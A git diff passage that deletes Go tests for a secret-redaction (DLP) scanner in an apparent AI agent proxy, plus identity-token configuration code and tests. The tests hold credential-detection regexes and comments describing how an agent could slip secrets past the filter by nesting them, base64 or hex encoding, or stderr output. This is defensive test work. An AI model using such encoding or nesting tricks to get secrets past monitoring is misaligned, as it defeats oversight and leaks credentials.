- // Configure DLP rule: regex: "SECRET"
- cfg := &policy.DLPConfig{
- Patterns: []policy.DLPPattern{
- {Name: "Generic Secret", Regex: "SECRET"},
- },
- }
- scanner, err := NewScanner(cfg)
- if err != nil {
- t.Fatalf("failed to create scanner: %v", err)
- }
-
- // Mock Tool Output content text
- input := "This is a SECRET code"
- expected := "This is a [REDACTED:Generic Secret] code"
-
- output, events := scanner.Redact(input)
-
- if output != expected {
- t.Errorf("Redact() = %q, want %q", output, expected)
- }
- if len(events) != 1 {
- t.Fatalf("expected 1 event, got %d", len(events))
- }
- if events[0].RuleName != "Generic Secret" {
- t.Errorf("event.RuleName = %q, want %q", events[0].RuleName, "Generic Secret")
- }
- if events[0].MatchCount != 1 {
- t.Errorf("event.MatchCount = %d, want 1", events[0].MatchCount)
- }
-}
-
-// boolPtr is a helper to create *bool values
-func boolPtr(b bool) *bool {
- return &b
-}
-
-// -----------------------------------------------------------------------------
-// Deep/Recursive Scanning Tests
-// -----------------------------------------------------------------------------
-
-// TestRedactDeep_NestedMaps tests that secrets in nested map structures are found.
-// This is the key security test - prevents the bypass attack via nested args.
-func TestRedactDeep_NestedMaps(t *testing.T) {
- cfg := &policy.DLPConfig{
- Patterns: []policy.DLPPattern{
- {Name: "AWS Key", Regex: `AKIA[A-Z0-9]{16}`},
- {Name: "Email", Regex: `[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}`},
- },
- }
- scanner, err := NewScanner(cfg)
- if err != nil {
- t.Fatalf("failed to create scanner: %v", err)
- }
-
- tests := []struct {
- name string
- input any
- wantRules []string
- checkFunc func(t *testing.T, result any)
- }{
- {
- name: "single level map with secret",
- input: map[string]any{
- "key": "AKIAIOSFODNN7EXAMPLE",
- },
- wantRules: []string{"AWS Key"},
- checkFunc: func(t *testing.T, result any) {
- m := result.(map[string]any)
- if m["key"] != "[REDACTED:AWS Key]" {
- t.Errorf("expected redacted key, got %v", m["key"])
- }
- },
- },
- {
- name: "two levels deep - THE BYPASS ATTACK",
- input: map[string]any{
- "config": map[string]any{
- "aws": map[string]any{
- "access_key": "AKIAIOSFODNN7EXAMPLE",
- },
- },
- },
- wantRules: []string{"AWS Key"},
- checkFunc: func(t *testing.T, result any) {
- m := result.(map[string]any)
- config := m["config"].(map[string]any)
- aws := config["aws"].(map[string]any)
- if aws["access_key"] != "[REDACTED:AWS Key]" {
- t.Errorf("nested secret not redacted: %v", aws["access_key"])
- }
- },
- },
- {
- name: "three levels deep",
- input: map[string]any{
- "level1": map[string]any{
- "level2": map[string]any{
- "level3": map[string]any{
- "secret": "AKIAIOSFODNN7EXAMPLE",
- },
- },
- },
- },
- wantRules: []string{"AWS Key"},
- checkFunc: func(t *testing.T, result any) {
- m := result.(map[string]any)
- l1 := m["level1"].(map[string]any)
- l2 := l1["level2"].(map[string]any)
- l3 := l2["level3"].(map[string]any)
- if l3["secret"] != "[REDACTED:AWS Key]" {
- t.Errorf("deep nested secret not redacted: %v", l3["secret"])
- }
- },
- },
- {
- name: "multiple secrets at different levels",
- input: map[string]any{
- "email": "user@example.com",
- "nested": map[string]any{
- "aws_key": "AKIAIOSFODNN7EXAMPLE",
- },
- },
- wantRules: []string{"Email", "AWS Key"},
- checkFunc: func(t *testing.T, result any) {
- m := result.(map[string]any)
- if m["email"] != "[REDACTED:Email]" {
- t.Errorf("top-level email not redacted")
- }
- nested := m["nested"].(map[string]any)
- if nested["aws_key"] != "[REDACTED:AWS Key]" {
- t.Errorf("nested aws_key not redacted")
- }
- },
- },
- }
-
- for _, tt := range tests {
- t.Run(tt.name, func(t *testing.T) {
- result, events := scanner.RedactDeep(tt.input)
-
- // Check events
- if len(events) != len(tt.wantRules) {
- t.Errorf("expected %d events, got %d: %v", len(tt.wantRules), len(events), events)
- }
-
- // Check result
- if tt.checkFunc != nil {
- tt.checkFunc(t, result)
- }
- })
- }
-}
-
-// TestRedactDeep_Arrays tests that secrets in arrays are found.
-func TestRedactDeep_Arrays(t *testing.T) {
- cfg := &policy.DLPConfig{
- Patterns: []policy.DLPPattern{
- {Name: "Email", Regex: `[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}`},
- },
- }
- scanner, err := NewScanner(cfg)
- if err != nil {
- t.Fatalf("failed to create scanner: %v", err)
- }
-
- tests := []struct {
- name string
- input any
- wantCount int
- }{
- {
- name: "array of strings with secrets",
- input: map[string]any{
- "emails": []any{
- "user1@example.com",
- "user2@example.com",
- "not-an-email",
- },
- },
- wantCount: 2,
- },
- {
- name: "array of objects with secrets",
- input: map[string]any{
- "users": []any{
- map[string]any{"email": "alice@test.org"},
- map[string]any{"email": "bob@test.org"},
- map[string]any{"name": "charlie"},
- },
- },
- wantCount: 2,
- },
- {
- name: "nested arrays",
- input: map[string]any{
- "data": []any{
- []any{
- "nested@email.com",
- },
- },
- },
- wantCount: 1,
- },
- }
-
- for _, tt := range tests {
- t.Run(tt.name, func(t *testing.T) {
- _, events := scanner.RedactDeep(tt.input)
-
- totalMatches := 0
- for _, e := range events {
- totalMatches += e.MatchCount
- }
-
- if totalMatches != tt.wantCount {
- t.Errorf("expected %d matches, got %d: %v", tt.wantCount, totalMatches, events)
- }
- })
- }
-}
-
-// TestRedactDeep_Primitives tests that non-string primitives pass through unchanged.
-func TestRedactDeep_Primitives(t *testing.T) {
- cfg := &policy.DLPConfig{
- Patterns: []policy.DLPPattern{
- {Name: "AWS Key", Regex: `AKIA[A-Z0-9]{16}`},
- },
- }
- scanner, err := NewScanner(cfg)
- if err != nil {
- t.Fatalf("failed to create scanner: %v", err)
- }
-
- input := map[string]any{
- "string": "no sensitive data here",
- "int": 42,
- "float": 3.14,
- "bool": true,
- "null": nil,
- "int64": int64(100),
- "float32": float32(1.5),
- }
-
- result, events := scanner.RedactDeep(input)
-
- // No events expected (no AWS keys in primitives)
- if len(events) != 0 {
- t.Errorf("expected no events for clean primitives, got %v", events)
- }
-
- // Verify primitives unchanged
- m := result.(map[string]any)
- if m["int"] != 42 {
- t.Errorf("int changed: %v", m["int"])
- }
- if m["float"] != 3.14 {
- t.Errorf("float changed: %v", m["float"])
- }
- if m["bool"] != true {
- t.Errorf("bool changed: %v", m["bool"])
- }
- if m["string"] != "no sensitive data here" {
- t.Errorf("clean string was modified: %v", m["string"])
- }
-}
-
-// TestRedactDeep_NilScanner tests that nil scanner returns input unchanged.
-func TestRedactDeep_NilScanner(t *testing.T) {
- var scanner *Scanner
-
- input := map[string]any{
- "secret": "AKIAIOSFODNN7EXAMPLE",
- }
-
- result, events := scanner.RedactDeep(input)
-
- // Should return original (check by comparing the secret value)
- resultMap, ok := result.(map[string]any)
- if !ok {
- t.Fatal("nil scanner should return map")
- }
- if resultMap["secret"] != "AKIAIOSFODNN7EXAMPLE" {
- t.Error("nil scanner should return input unchanged")
- }
- if events != nil {
- t.Error("nil scanner should return nil events")
- }
-}
-
-// TestRedactDeep_OriginalUnchanged verifies that the original input is not modified.
-func TestRedactDeep_OriginalUnchanged(t *testing.T) {
- cfg := &policy.DLPConfig{
- Patterns: []policy.DLPPattern{
- {Name: "AWS Key", Regex: `AKIA[A-Z0-9]{16}`},
- },
- }
- scanner, err := NewScanner(cfg)
- if err != nil {
- t.Fatalf("failed to create scanner: %v", err)
- }
-
- original := map[string]any{
- "nested": map[string]any{
- "key": "AKIAIOSFODNN7EXAMPLE",
- },
- }
-
- // Store original value
- originalKey := original["nested"].(map[string]any)["key"]
-
- // Redact
- result, _ := scanner.RedactDeep(original)
-
- // Verify original unchanged
- if original["nested"].(map[string]any)["key"] != originalKey {
- t.Error("original map was modified!")
- }
-
- // Verify result is redacted
- resultNested := result.(map[string]any)["nested"].(map[string]any)
- if resultNested["key"] == originalKey {
- t.Error("result should be redacted")
- }
-}
-
-// TestRedactMap_Convenience tests the RedactMap convenience method.
-func TestRedactMap_Convenience(t *testing.T) {
- cfg := &policy.DLPConfig{
- Patterns: []policy.DLPPattern{
- {Name: "Email", Regex: `[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}`},
- },
- }
- scanner, err := NewScanner(cfg)
- if err != nil {
- t.Fatalf("failed to create scanner: %v", err)
- }
-
- input := map[string]any{
- "contact": map[string]any{
- "email": "test@example.com",
- },
- }
-
- result, events := scanner.RedactMap(input)
-
- if len(events) != 1 {
- t.Errorf("expected 1 event, got %d", len(events))
- }
-
- contact := result["contact"].(map[string]any)
- if contact["email"] != "[REDACTED:Email]" {
- t.Errorf("email not redacted: %v", contact["email"])
- }
-}
-
-// TestRedactDeep_SecurityBypassPrevention is the key security test.
-// It simulates the exact attack vector from the security review.
-func TestRedactDeep_SecurityBypassPrevention(t *testing.T) {
- // This is the exact attack scenario:
- // Attacker hides AWS key in nested structure to bypass shallow DLP
- cfg := &policy.DLPConfig{
- Patterns: []policy.DLPPattern{
- {Name: "AWS Key", Regex: `(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}`},
- },
- }
- scanner, err := NewScanner(cfg)
- if err != nil {
- t.Fatalf("failed to create scanner: %v", err)
- }
-
- // Attack payload - secret hidden in nested structure
- attackPayload := map[string]any{
- "url": "https://allowed-domain.com/api",
- "body": map[string]any{
- "data": []any{
- map[string]any{
- "secret": "AKIAIOSFODNN7EXAMPLE",
- },
- },
- },
- }
-
- result, events := scanner.RedactDeep(attackPayload)
-
- // CRITICAL: The secret MUST be detected
- if len(events) == 0 {
- t.Fatal("SECURITY FAILURE: Nested secret was not detected!")
- }
-
- // Verify the secret is redacted in the result
- body := result.(map[string]any)["body"].(map[string]any)
- data := body["data"].([]any)
- item := data[0].(map[string]any)
-
- if item["secret"] == "AKIAIOSFODNN7EXAMPLE" {
- t.Fatal("SECURITY FAILURE: Secret was not redacted in output!")
- }
-
- if item["secret"] != "[REDACTED:AWS Key]" {
- t.Errorf("unexpected redaction format: %v", item["secret"])
- }
-}
-
-// -----------------------------------------------------------------------------
-// Encoding Detection Tests
-// -----------------------------------------------------------------------------
-
-// TestEncodingDetection_Base64 tests detection of base64 encoded secrets.
-func TestEncodingDetection_Base64(t *testing.T) {
- // AWS Key: AKIAIOSFODNN7EXAMPLE
- // Base64: QUtJQUlPU0ZPRE5ON0VYQU1QTEU=
- cfg := &policy.DLPConfig{
- DetectEncoding: true,
- Patterns: []policy.DLPPattern{
- {Name: "AWS Key", Regex: `(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}`},
- },
- }
- scanner, err := NewScanner(cfg)
- if err != nil {
- t.Fatalf("failed to create scanner: %v", err)
- }
-
- tests := []struct {
- name string
- input string
- wantRedacted bool
- wantEventCount int
- }{
- {
- name: "plain secret detected",
- input: "Key: AKIAIOSFODNN7EXAMPLE",
- wantRedacted: true,
- wantEventCount: 1,
- },
- {
- name: "base64 encoded secret detected",
- input: "Encoded: QUtJQUlPU0ZPRE5ON0VYQU1QTEU=",
- wantRedacted: true,
- wantEventCount: 1,
- },
- {
- name: "no false positive on random base64",
- input: "Random: SGVsbG8gV29ybGQh", // "Hello World!"
- wantRedacted: false,
- wantEventCount: 0,
- },
- }
-
- for _, tt := range tests {
- t.Run(tt.name, func(t *testing.T) {
- output, events := scanner.Redact(tt.input)
-
- if tt.wantRedacted && output == tt.input {
- t.Error("expected redaction but got unchanged output")
- }
- if !tt.wantRedacted && output != tt.input {
- t.Errorf("unexpected redaction: %s", output)
- }
- if len(events) != tt.wantEventCount {
- t.Errorf("event count = %d, want %d", len(events), tt.wantEventCount)
- }
- })
- }
-}
-
-// TestEncodingDetection_Hex tests detection of hex encoded secrets.
-func TestEncodingDetection_Hex(t *testing.T) {
- // AWS Key: AKIAIOSFODNN7EXAMPLE
- // Hex: 414b4941494f53464f444e4e374558414d504c45
- cfg := &policy.DLPConfig{
- DetectEncoding: true,
- Patterns: []policy.DLPPattern{
- {Name: "AWS Key", Regex: `(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}`},
- },
- }
- scanner, err := NewScanner(cfg)
- if err != nil {
- t.Fatalf("failed to create scanner: %v", err)
- }
-
- tests := []struct {
- name string
- input string
- wantRedacted bool
- wantEventCount int
- }{
- {
- name: "hex encoded secret detected",
- input: "Hex key: 414b4941494f53464f444e4e374558414d504c45",
- wantRedacted: true,
- wantEventCount: 1,
- },
- {
- name: "hex with 0x prefix detected",
- input: "Key: 0x414b4941494f53464f444e4e374558414d504c45",
- wantRedacted: true,
- wantEventCount: 1,
- },
- }
-
- for _, tt := range tests {
- t.Run(tt.name, func(t *testing.T) {
- output, events := scanner.Redact(tt.input)
-
- if tt.wantRedacted && output == tt.input {
- t.Error("expected redaction but got unchanged output")
- }
- if len(events) != tt.wantEventCount {
- t.Errorf("event count = %d, want %d", len(events), tt.wantEventCount)
- }
- })
- }
-}
-
-// TestEncodingDetection_Disabled tests that encoding detection is off by default.
-func TestEncodingDetection_Disabled(t *testing.T) {
- // AWS Key: AKIAIOSFODNN7EXAMPLE β Base64: QUtJQUlPU0ZPRE5ON0VYQU1QTEU=
- cfg := &policy.DLPConfig{
- DetectEncoding: false, // Explicitly disabled (also default)
- Patterns: []policy.DLPPattern{
- {Name: "AWS Key", Regex: `(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}`},
- },
- }
- scanner, err := NewScanner(cfg)
- if err != nil {
- t.Fatalf("failed to create scanner: %v", err)
- }
-
- // Encoded secret should NOT be detected when encoding detection is disabled
- input := "Encoded: QUtJQUlPU0ZPRE5ON0VYQU1QTEU="
- output, events := scanner.Redact(input)
-
- if output != input {
- t.Errorf("encoding detection should be disabled, but got redaction: %s", output)
- }
- if len(events) != 0 {
- t.Errorf("expected no events, got %d", len(events))
- }
-}
-
-// TestEncodingDetection_SecurityBypass is the key security test.
-// Simulates the exact attack from the security review.
-func TestEncodingDetection_SecurityBypass(t *testing.T) {
- cfg := &policy.DLPConfig{
- DetectEncoding: true,
- Patterns: []policy.DLPPattern{
- {Name: "AWS Key", Regex: `(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}`},
- {Name: "Password", Regex: `(?i)password\s*[:=]\s*\S+`},
- },
- }
- scanner, err := NewScanner(cfg)
- if err != nil {
- t.Fatalf("failed to create scanner: %v", err)
- }
-
- // Attack scenario: Agent encodes secret to bypass DLP
- // Original: {"secret": "AKIAIOSFODNN7EXAMPLE"}
- // Encoded: {"secret": "QUtJQUlPU0ZPRE5ON0VYQU1QTEU="}
- attackPayload := `{"secret": "QUtJQUlPU0ZPRE5ON0VYQU1QTEU="}`
-
- output, events := scanner.Redact(attackPayload)
-
- // CRITICAL: The encoded secret MUST be detected
- if len(events) == 0 {
- t.Fatal("SECURITY FAILURE: Base64-encoded secret was not detected!")
- }
-
- // Verify original encoded string is replaced
- if output == attackPayload {
- t.Fatal("SECURITY FAILURE: Output unchanged - encoded secret passed through!")
- }
-
- // Verify it mentions encoding
- foundEncoded := false
- for _, e := range events {
- if e.RuleName == "AWS Key (encoded)" {
- foundEncoded = true
- break
- }
- }
- if !foundEncoded {
- t.Errorf("expected event with '(encoded)' suffix, got: %v", events)
- }
-}
-
-// TestEncodingDetection_NoFalsePositives tests that legitimate base64 isn't flagged.
-func TestEncodingDetection_NoFalsePositives(t *testing.T) {
- cfg := &policy.DLPConfig{
- DetectEncoding: true,
- Patterns: []policy.DLPPattern{
- {Name: "AWS Key", Regex: `(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}`},
- },
- }
- scanner, err := NewScanner(cfg)
- if err != nil {
- t.Fatalf("failed to create scanner: %v", err)
- }
-
- // Legitimate base64 content that doesn't contain secrets
- legitimateInputs := []string{
- "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk",
- "Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=", // "username:password"
- "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9", // JWT header (no secret pattern)
- }
-
- for _, input := range legitimateInputs {
- output, events := scanner.Redact(input)
- if output != input {
- t.Errorf("false positive on legitimate content:\n input: %s\n output: %s", input, output)
- }
- if len(events) != 0 {
- t.Errorf("unexpected events for: %s", input)
- }
- }
-}
-
-// TestDetectsEncoding tests the DetectsEncoding() method.
-func TestDetectsEncoding(t *testing.T) {
- // nil scanner
- var nilScanner *Scanner
- if nilScanner.DetectsEncoding() {
- t.Error("nil scanner should return false")
- }
-
- // With detection enabled
- cfg := &policy.DLPConfig{
- DetectEncoding: true,
- Patterns: []policy.DLPPattern{{Name: "Test", Regex: "test"}},
- }
- scanner, _ := NewScanner(cfg)
- if !scanner.DetectsEncoding() {
- t.Error("scanner with detect_encoding=true should return true")
- }
-
- // With detection disabled
- cfg2 := &policy.DLPConfig{
- DetectEncoding: false,
- Patterns: []policy.DLPPattern{{Name: "Test", Regex: "test"}},
- }
- scanner2, _ := NewScanner(cfg2)
- if scanner2.DetectsEncoding() {
- t.Error("scanner with detect_encoding=false should return false")
- }
-}
-
-// -----------------------------------------------------------------------------
-// Filtered Writer Tests
-// -----------------------------------------------------------------------------
-
-// TestFilteredWriter_RedactsOutput tests that the filtered writer redacts secrets.
-func TestFilteredWriter_RedactsOutput(t *testing.T) {
- cfg := &policy.DLPConfig{
- Patterns: []policy.DLPPattern{
- {Name: "AWS Key", Regex: `(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}`},
- },
- }
- scanner, err := NewScanner(cfg)
- if err != nil {
- t.Fatalf("failed to create scanner: %v", err)
- }
-
- var buf bytes.Buffer
- filtered := NewFilteredWriter(&buf, scanner, nil, "")
-
- // Write output containing a secret
- input := "Error: failed to connect with key AKIAIOSFODNN7EXAMPLE\n"
- n, err := filtered.Write([]byte(input))
-
- if err != nil {
- t.Fatalf("Write failed: %v", err)
- }
- if n != len(input) {
- t.Errorf("Write returned %d, want %d", n, len(input))
- }
-
- // Verify secret was redacted
- output := buf.String()
- if strings.Contains(output, "AKIAIOSFODNN7EXAMPLE") {
- t.Error("secret was not redacted in output")
- }
- if !strings.Contains(output, "[REDACTED:AWS Key]") {
- t.Errorf("expected redaction placeholder, got: %s", output)
- }
-}
-
-// TestFilteredWriter_NilScanner tests passthrough when scanner is nil.
-func TestFilteredWriter_NilScanner(t *testing.T) {
- var buf bytes.Buffer
- filtered := NewFilteredWriter(&buf, nil, nil, "")
-
- input := "Error: key is AKIAIOSFODNN7EXAMPLE\n"
- _, err := filtered.Write([]byte(input))
- if err != nil {
- t.Fatalf("Write failed: %v", err)
- }
-
- // With nil scanner, output should be unchanged
- if buf.String() != input {
- t.Errorf("expected passthrough, got: %s", buf.String())
- }
-}
-
-// TestFilteredWriter_MultipleWrites tests that each write is independently scanned.
-func TestFilteredWriter_MultipleWrites(t *testing.T) {
- cfg := &policy.DLPConfig{
- Patterns: []policy.DLPPattern{
- {Name: "Secret", Regex: `secret_[a-z]+`},
- },
- }
- scanner, _ := NewScanner(cfg)
-
- var buf bytes.Buffer
- filtered := NewFilteredWriter(&buf, scanner, nil, "")
-
- // Multiple writes
- _, _ = filtered.Write([]byte("Line 1: secret_alpha\n"))
- _, _ = filtered.Write([]byte("Line 2: no secrets here\n"))
- _, _ = filtered.Write([]byte("Line 3: secret_beta\n"))
-
- output := buf.String()
-
- // Both secrets should be redacted
- if strings.Contains(output, "secret_alpha") || strings.Contains(output, "secret_beta") {
- t.Error("secrets not redacted in multi-write output")
- }
- if !strings.Contains(output, "no secrets here") {
- t.Error("non-secret content was incorrectly modified")
- }
-}
-
-// TestFilteredWriter_StderrSecurityBypass is the key security test.
-// Simulates the attack from the security review.
-func TestFilteredWriter_StderrSecurityBypass(t *testing.T) {
- cfg := &policy.DLPConfig{
- Patterns: []policy.DLPPattern{
- {Name: "AWS Key", Regex: `(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}`},
- {Name: "Password", Regex: `(?i)password\s*[:=]\s*\S+`},
- },
- }
- scanner, _ := NewScanner(cfg)
-
- var buf bytes.Buffer
- filtered := NewFilteredWriter(&buf, scanner, nil, "[subprocess]")
-
- // Simulate subprocess error output containing secrets
- stderrOutput := `
-2024-01-15 10:23:45 ERROR Database connection failed
- host: db.example.com
- user: admin
- password: SuperSecret123!
-
-Stack trace:
- at AWSClient.connect(key=AKIAIOSFODNN7EXAMPLE)
- at main.py:42
-`
- if _, err := filtered.Write([]byte(stderrOutput)); err != nil {
- t.Fatalf("Failed to write to filtered writer: %v", err)
- }
-
- output := buf.String()
-
- // CRITICAL: Secrets MUST be redacted
- if strings.Contains(output, "SuperSecret123!") {
- t.Fatal("SECURITY FAILURE: Password leaked through stderr!")
- }
- if strings.Contains(output, "AKIAIOSFODNN7EXAMPLE") {
- t.Fatal("SECURITY FAILURE: AWS key leaked through stderr!")
- }
-
- // Non-sensitive data should be preserved
- if !strings.Contains(output, "Database connection failed") {
- t.Error("Non-sensitive error message was incorrectly removed")
- }
- if !strings.Contains(output, "db.example.com") {
- t.Error("Non-sensitive hostname was incorrectly removed")
- }
-}
diff --git a/implementations/go-proxy/pkg/identity/config.go b/implementations/go-proxy/pkg/identity/config.go
deleted file mode 100644
index f588945..0000000
--- a/implementations/go-proxy/pkg/identity/config.go
+++ /dev/null
@@ -1,141 +0,0 @@
-// Package identity implements agent identity tokens and session management for AIP v1alpha2.
-//
-// The identity package provides:
-// - Token generation with cryptographic nonces
-// - Automatic token rotation before expiry
-// - Session binding (process, policy, strict modes)
-// - Policy hash computation for integrity verification
-//
-// This is a new feature in AIP v1alpha2 that enables server-side validation
-// and distributed policy enforcement.
-package identity
-
-import (
- "time"
-)
-
-// Config holds the identity configuration from the policy spec.
-// Maps to spec.identity in the policy YAML.
-type Config struct {
- // Enabled controls whether identity token generation is active.
- // Default: false
- Enabled bool `yaml:"enabled,omitempty"`
-
- // TokenTTL is the time-to-live for identity tokens.
- // Format: Go duration string (e.g., "5m", "1h", "300s")
- // Default: "5m" (5 minutes)
- TokenTTL string `yaml:"token_ttl,omitempty"`
-
- // RotationInterval is how often to rotate tokens before expiry.
- // Must be less than TokenTTL.
- // Format: Go duration string
- // Default: "4m" (4 minutes)
- RotationInterval string `yaml:"rotation_interval,omitempty"`
-
- // RequireToken when true requires all tool calls to include a valid token.
- // Default: false
- RequireToken bool `yaml:"require_token,omitempty"`
-
- // SessionBinding determines what context is bound to the session identity.
- // Values: "process" (default), "policy", "strict"
- SessionBinding string `yaml:"session_binding,omitempty"`
-}
-
-// DefaultConfig returns the default identity configuration.
-func DefaultConfig() *Config {
- return &Config{
- Enabled: false,
- TokenTTL: "5m",
- RotationInterval: "4m",
- RequireToken: false,
- SessionBinding: SessionBindingProcess,
- }
-}
-
-// Session binding modes
-const (
- // SessionBindingProcess binds the session to the process ID.
- SessionBindingProcess = "process"
-
- // SessionBindingPolicy binds the session to the policy hash.
- SessionBindingPolicy = "policy"
-
- // SessionBindingStrict binds the session to process + policy + timestamp.
- SessionBindingStrict = "strict"
-)
-
-// GetTokenTTL parses and returns the token TTL as a duration.
-// Returns the default (5m) if parsing fails or not set.
-func (c *Config) GetTokenTTL() time.Duration {
- if c == nil || c.TokenTTL == "" {
- return 5 * time.Minute
- }
- d, err := time.ParseDuration(c.TokenTTL)
- if err != nil {
- return 5 * time.Minute
- }
- return d
-}
-
-// GetRotationInterval parses and returns the rotation interval as a duration.
-// Returns the default (4m) if parsing fails or not set.
-func (c *Config) GetRotationInterval() time.Duration {
- if c == nil || c.RotationInterval == "" {
- return 4 * time.Minute
- }
- d, err := time.ParseDuration(c.RotationInterval)
- if err != nil {
- return 4 * time.Minute
- }
- return d
-}
-
-// GetSessionBinding returns the session binding mode.
-// Returns "process" if not set or invalid.
-func (c *Config) GetSessionBinding() string {
- if c == nil || c.SessionBinding == "" {
- return SessionBindingProcess
- }
- switch c.SessionBinding {
- case SessionBindingProcess, SessionBindingPolicy, SessionBindingStrict:
- return c.SessionBinding
- default:
- return SessionBindingProcess
- }
-}
-
-// Validate checks the configuration for errors.
-func (c *Config) Validate() error {
- if c == nil {
- return nil
- }
-
- ttl := c.GetTokenTTL()
- rotation := c.GetRotationInterval()
-
- if rotation >= ttl {
- return &ConfigError{
- Field: "rotation_interval",
- Message: "rotation_interval must be less than token_ttl",
- }
- }
-
- if ttl > time.Hour {
- return &ConfigError{
- Field: "token_ttl",
- Message: "token_ttl should not exceed 1 hour for security",
- }
- }
-
- return nil
-}
-
-// ConfigError represents a configuration validation error.
-type ConfigError struct {
- Field string
- Message string
-}
-
-func (e *ConfigError) Error() string {
- return "identity config error: " + e.Field + ": " + e.Message
-}
diff --git a/implementations/go-proxy/pkg/identity/config_test.go b/implementations/go-proxy/pkg/identity/config_test.go
deleted file mode 100644
index 53b843b..0000000
--- a/implementations/go-proxy/pkg/identity/config_test.go
+++ /dev/null
@@ -1,174 +0,0 @@
-package identity
-
-import (
- "testing"
- "time"
-)
-
-func TestDefaultConfig(t *testing.T) {
- cfg := DefaultConfig()
-
- if cfg.Enabled {
- t.Error("Default should have Enabled=false")
- }
- if cfg.TokenTTL != "5m" {
- t.Errorf("Default TokenTTL = %q, want %q", cfg.TokenTTL, "5m")
- }
- if cfg.RotationInterval != "4m" {
- t.Errorf("Default RotationInterval = %q, want %q", cfg.RotationInterval, "4m")
- }
- if cfg.RequireToken {
- t.Error("Default should have RequireToken=false")
- }
- if cfg.SessionBinding != SessionBindingProcess {
- t.Errorf("Default SessionBinding = %q, want %q", cfg.SessionBinding, SessionBindingProcess)
- }
-}
-
-func TestConfigGetTokenTTL(t *testing.T) {
- tests := []struct {
- name string
- config *Config
- expected time.Duration
- }{
- {"nil config", nil, 5 * time.Minute},
- {"empty TTL", &Config{}, 5 * time.Minute},
- {"invalid TTL", &Config{TokenTTL: "invalid"}, 5 * time.Minute},
- {"10 minutes", &Config{TokenTTL: "10m"}, 10 * time.Minute},
- {"1 hour", &Config{TokenTTL: "1h"}, 1 * time.Hour},
- {"300 seconds", &Config{TokenTTL: "300s"}, 300 * time.Second},
- }
-
- for _, tt := range tests {
- t.Run(tt.name, func(t *testing.T) {
- got := tt.config.GetTokenTTL()
- if got != tt.expected {
- t.Errorf("GetTokenTTL() = %v, want %v", got, tt.expected)
- }
- })
- }
-}
-
-func TestConfigGetRotationInterval(t *testing.T) {
- tests := []struct {
- name string
- config *Config
- expected time.Duration
- }{
- {"nil config", nil, 4 * time.Minute},
- {"empty interval", &Config{}, 4 * time.Minute},
- {"invalid interval", &Config{RotationInterval: "bad"}, 4 * time.Minute},
- {"8 minutes", &Config{RotationInterval: "8m"}, 8 * time.Minute},
- }
-
- for _, tt := range tests {
- t.Run(tt.name, func(t *testing.T) {
- got := tt.config.GetRotationInterval()
- if got != tt.expected {
- t.Errorf("GetRotationInterval() = %v, want %v", got, tt.expected)
- }
- })
- }
-}
-
-func TestConfigGetSessionBinding(t *testing.T) {
- tests := []struct {
- name string
- config *Config
- expected string
- }{
- {"nil config", nil, SessionBindingProcess},
- {"empty binding", &Config{}, SessionBindingProcess},
- {"invalid binding", &Config{SessionBinding: "invalid"}, SessionBindingProcess},
- {"process", &Config{SessionBinding: "process"}, SessionBindingProcess},
- {"policy", &Config{SessionBinding: "policy"}, SessionBindingPolicy},
- {"strict", &Config{SessionBinding: "strict"}, SessionBindingStrict},
- }
-
- for _, tt := range tests {
- t.Run(tt.name, func(t *testing.T) {
- got := tt.config.GetSessionBinding()
- if got != tt.expected {
- t.Errorf("GetSessionBinding() = %q, want %q", got, tt.expected)
- }
- })
- }
-}
-
-func TestConfigValidate(t *testing.T) {
- tests := []struct {
- name string
- config *Config
- wantErr bool
- errMsg string
- }{
- {
- name: "nil config is valid",
- config: nil,
- wantErr: false,
- },
- {
- name: "valid config",
- config: &Config{
- TokenTTL: "10m",
- RotationInterval: "8m",
- },
- wantErr: false,
- },
- {
- name: "rotation >= TTL is invalid",
- config: &Config{
- TokenTTL: "5m",
- RotationInterval: "5m",
- },
- wantErr: true,
- errMsg: "rotation_interval",
- },
- {
- name: "rotation > TTL is invalid",
- config: &Config{
- TokenTTL: "5m",
- RotationInterval: "10m",
- },
- wantErr: true,
- errMsg: "rotation_interval",
- },
- {
- name: "TTL > 1 hour is invalid",
- config: &Config{
- TokenTTL: "2h",
- RotationInterval: "1h",
- },
- wantErr: true,
- errMsg: "token_ttl",
- },
- }
-
- for _, tt := range tests {
- t.Run(tt.name, func(t *testing.T) {
- err := tt.config.Validate()
- if (err != nil) != tt.wantErr {
- t.Errorf("Validate() error = %v, wantErr %v", err, tt.wantErr)
- }
- if err != nil && tt.errMsg != "" {
- if cfgErr, ok := err.(*ConfigError); ok {
- if cfgErr.Field != tt.errMsg {
- t.Errorf("Error field = %q, want %q", cfgErr.Field, tt.errMsg)
- }
- }
- }
- })
- }
-}
-
-func TestConfigErrorString(t *testing.T) {
- err := &ConfigError{
- Field: "test_field",
- Message: "test message",
- }
-
- expected := "identity config error: test_field: test message"
- if err.Error() != expected {
- t.Errorf("Error() = %q, want %q", err.Error(), expected)
- }
-}
diff --git a/implementations/go-proxy/pkg/identity/manager.go b/implementations/go-proxy/pkg/identity/manager.go
deleted file mode 100644
index 3269239..0000000
--- a/implementations/go-proxy/pkg/identity/manager.go
+++ /dev/null
@@ -1,188 +0,0 @@
